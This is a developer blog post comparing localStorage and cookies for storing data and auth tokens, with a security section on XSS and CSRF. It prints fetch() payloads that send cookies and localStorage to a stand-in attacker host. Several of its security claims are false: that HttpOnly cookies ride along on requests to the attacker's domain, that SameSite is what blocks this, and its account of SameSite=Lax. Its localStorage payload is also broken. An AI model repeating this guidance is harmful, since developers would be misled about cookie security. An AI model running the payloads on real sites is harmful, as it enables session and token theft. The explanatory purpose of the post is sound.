Akshay's Blog
Jun 07, 2022

Local Storage vs Cookies: Where to securely store data on the client-side?

Where to store data on the client-side? Cookies or local storage? Which one is better for caching, and which one is persistent? Which is more secure and which one is vulnerable to

and

attacks? Where to store your JWT access tokens? Find out in this article!

First, let’s discuss what they are and examine their benefits and drawbacks.

Web Storage APIs:

Local storage and session storage, together referred to as the Web Storage APIs, provide mechanisms to store

key: value

pairs in the browser, and are considered an alternative to cookies, which were earlier used to store application data in the browser. Many applications use these to cache data for faster access, or to store and persist important information such as authorization tokens, or other data.

Session storage persists data until the browser tab or the session is closed, local storage persists data until it is manually deleted by the user or by code. Apart from this difference, local and session storages are identical. Here is how to use them:

localStorage.setItem(key, value); //set value with key
localStorage.getItem(key); //get value with key
localStorage.removeItem(key); //remove the key value pair

The keys and values must be strings. The localStorage itself is a simple JavaScript object.

Cookies:

An HTTP cookie is a string, that like local and session storage is stored in the browser. Cookies are created and sent by the web server to the client as part of an HTTP response by including the “

Set-Cookie” 

header:

Set-Cookie: key=value

The browser on the client-side then stores this cookie (as a string of key=value pairs) and sends it to the server on every subsequent HTTP request. These can be used to maintain the client’s state (such as session information) for HTTP communication, which is stateless.

Note that cookies can also be added from the client-side. Press f12 to open developer tools, navigate to the console and execute this code:

document.cookie = "mykey=myvalue"

Now go to the applications tab -> cookies and you will be able to see mykey=myvalue inside your cookie. Many developers exploited this to persist or cache data in the browser before the invention of the web storage APIs.

Local Storage vs Cookies for storing, persisting and caching data:

Persistence: 

Local storage has no expiration time. It must be deleted by the user or using localStorage.removeItem() function. Cookies are of 2 types:

Size: 

Local Storage (5 MB per domain) is much larger than cookies (4 KB per domain).

Type of data: 

Local storage is an object that can store key: value (string, string) pairs. If you want to store JSON data, you will have to convert it to string first, thankfully there is a simple way to do this:

//object to string and store
JSON.stringify(object_to_be_stored)  //stored string back to object
JSON.parse(string_value_from_local_storage)

A cookie is a string of this format:

“key1=value1; key2=value2;”

. To access it, use

document.cookie, 

however, to get a specific key-value pair, you will have to parse the string.

Also remember that storing data in cookies means that it will be sent with every HTTP request, thus wasting bandwidth. That is why cookie size is restricted to just 4 KB.

Security:

Now comes the most important discussion: which one is safer and which one can be stolen? Let’s look at this in the context of XSS and CSRF attacks which are popular ways to steal information and perform malicious actions on the client side.

Cross-site scripting (XSS) attacks are a type of injection attack in which a malicious script may be injected into the document and executed.

.

is an attack pattern in which an attacker tricks a victim into sending a malicious request to a site that they are already authenticated in order to perform unwanted actions. Since the browser automatically includes certain information such as the cookies and IP address with an HTTP request, the vulnerable website’s server may not have a way to distinguish between a forged request that the victim was manipulated into sending and a genuine one.

Cookies 

are vulnerable to XSS (cross-site scripting) and CSRF (cross-site request forgery) attacks, but there are ways to mitigate them.

Let’s look at how a malicious agent can steal cookies belonging to a particular domain by injecting the following script into your website (XSS). Henceforth, I will refer to your website (the vulnerable website) as “

good.com” 

and the attacker’s website (the malicious website) as

“bad.com”

:

<script>fetch("http://www.bad.com?stolenGoods=" + document.cookie)</script>

If this script gets executed by your document, it will send the user’s cookie on your website (

good.com) 

with the request to the attacker’s domain (

bad.com

) and the attacker can then use this to impersonate the user on

good.com 

or get the user’s data which you have stored as part of the cookie.

However, there are mechanisms built into cookies to mitigate such attacks:

HttpOnly:

While setting the cookie header on the server, you can specify the cookie as HttpOnly. This will prevent access to the cookie using “

document.cookie” 

or any other javascript code:

Set-Cookie: id=xyz; HttpOnly

Note that setting the cookie to HttpOnly will make it inaccessible to the client-side javascript, hence you can’t set this attribute for cookies that you created on the client-side, which means they will remain insecure and vulnerable to XSS! What about server-set cookies?

There is a misconception that setting the cookie as HttpOnly will prevent it from getting stolen via an XSS attack. While this prevents javascript from accessing your cookie, you must remember that a cookie is always sent with every HTTP request as a header. This means that the attacker can still access a user’s cookie from the vulnerable website (

good.com

) (which has an XSS script executing in it) by simply sending a request to his own server. The cookie will automatically be included as a request header!!!

<script>fetch("http://www.bad.com")</script>
// the cookie will be there as part of the request header and bad.com's server can then access it

Thankfully, there is a way to prevent this from happening.

SameSite:

This cookie attribute specifies rules on whether/when cookies are sent with cross-site requests.

Set-Cookie: key=val; HttpOnly; SameSite=Strict
// the cookie will only be sent with http requests to the same site where it originated. good.com's cookies won't be sent in requests to bad.com
Set-Cookie: key=val; HttpOnly; SameSite=Lax
// same as Strict, but cookie will also be sent if request to the site originates from another site.

Note that with SameSite = Lax, there are chances of CSRF attacks exploiting this.

bad.com

can send a request to

good.com

and the cookie will be included in that request (even though

bad.com

itself cannot read the cookie).

Local Storage

is also vulnerable to XSS attacks, but not CSRF attacks.

Local Storage is only accessible on the same domain

. There are no easy ways to prevent local storage data from being stolen using XSS attacks. Unlike cookies, there is no attribute that can prevent local storage from being accessible via javascript (and if there was, it would defeat the entire purpose of local storage).

Therefore, an XSS script like the following can steal the local storage data on

good.com

and send it to

bad.com

:

<script>fetch("http://www.bad.com?stolenGoods=window.localStorage")</script>

So does this mean that cookies are safer than local storage to store data on the browser? It is true that we can severely restrict the ability to read cookies to only the server of

good.com

, while the local storage data can be accessed by an attacker via an XSS attack.

Note that this is only true for server-set cookies. If say you want to cache the user’s credit card information in the browser by adding it as a cookie in the following way, it will be as vulnerable to XSS attacks as the local storage data, as you can’t set it to HttpOnly:

document.cookie = "creditCardNumber=XXXXXXXXXX; HttpOnly"
//won't workdocument.cookie = "creditCardNumber=XXXXXXXXXX;"
//works but can be accessed by JavaScript, hence vulnerable to XSS

To summarize the security discussion, let’s look at what you should use to store and cache data on the client-side and where you should store data that only needs to be accessed by your server, such as auth tokens:

Store data on the client-side 

(for caching or persistence): You can use either of the 2 options as they are both equally secured (or rather, equally unsecured). Local storage data cannot be accessed cross-site, and cookies can also be restricted using

SameSite=strict, 

but they can both be accessed via JavaScript and thus, are vulnerable to XSS attacks, if not CSRF.

Local (or session) Storage is preferable because of its larger size (5 MB vs 4 KB for cookies) and because it is not sent with every HTTP request, thus saving bandwidth.

Storing session information for the server-side 

(such as JWTs): The server sets these cookies, so marking them as HttpOnly will prevent client-side JavaScript from accessing them, and marking them with

SameSite=strict 

will not allow these cookies to be sent to other domains, thus preventing manipulation via XSS or CSRF attacks.

Auth tokens stored in the local storage on the other hand can be stolen via XSS attacks. Moreover, cookies are automatically sent with the request whereas for tokens in local storage, you would have to write the code to set the authorization header of the HTTP request manually. Hence, Cookies are preferable for this scenario.

Also, note that if your site is vulnerable to XSS attacks, nothing is really safe. The malicious script can send requests to

good.com’s 

server (the cookie will be included automatically, even though the script can’t read it if it is HttpOnly), and then send the response from

good.com 

to

bad.com’s

server through another HTTP request. Thus, if your site is vulnerable to a javascript injection attack, it is doomed!

.

Remember that nothing is completely safe on the client-side!

Akshay Dagar

Akshay Dagar

Software Developer @Microsoft. Writer @BetterProgramming. Programming for more than 7 years. Learning and writing about new technology every day. Love to read. Check out https://akshaydagar.netlify.app.

Leave a Reply